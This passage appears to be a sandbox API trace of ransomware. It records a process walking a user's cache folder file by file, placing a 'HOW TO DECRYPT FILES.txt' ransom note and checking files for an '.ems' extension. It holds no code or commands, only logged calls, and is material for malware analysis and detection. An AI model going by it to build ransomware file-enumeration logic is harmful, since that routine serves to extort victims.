HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D" [0086.976] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.976] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.976] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.976] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.976] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" [0086.976] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", pszSpec="*.ems") returned 0 [0086.976] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0086.976] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.977] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned 1 [0086.977] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned 1 [0086.977] lstrcmpiA (lpString1="", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned -1 [0086.977] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6" [0086.977] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.977] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.977] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.977] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.977] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" [0086.977] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", pszSpec="*.ems") returned 0 [0086.977] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0086.977] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.977] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned 1 [0086.977] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned 1 [0086.978] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned -1 [0086.978] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD" [0086.978] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.978] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.978] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.978] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.978] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" [0086.978] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", pszSpec="*.ems") returned 0 [0086.978] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0086.978] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.978] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned 1 [0086.978] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned 1 [0086.978] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned -1 [0086.979] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0" [0086.979] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.979] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.979] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.979] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.979] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" [0086.979] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", pszSpec="*.ems") returned 0 [0086.979] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0086.979] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.979] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned 1 [0086.979] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned 1 [0086.979] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned -1 [0086.979] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" [0086.980] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.980] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.980] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.980] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.980] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1" [0086.980] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", pszSpec="*.ems") returned 0 [0086.980] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0086.980] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.980] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned 1 [0086.980] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned 1 [0086.980] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned -1 [0086.980] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1" [0086.981] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.981] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.981] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.981] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.981] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" [0086.981] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", pszSpec="*.ems") returned 0 [0086.981] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0086.981] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.981] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned 1 [0086.981] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned 1 [0086.981] lstrcmpiA (lpString1="", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned -1 [0086.981] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" [0086.981] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.981] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.982] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.982] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.982] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4" | out: 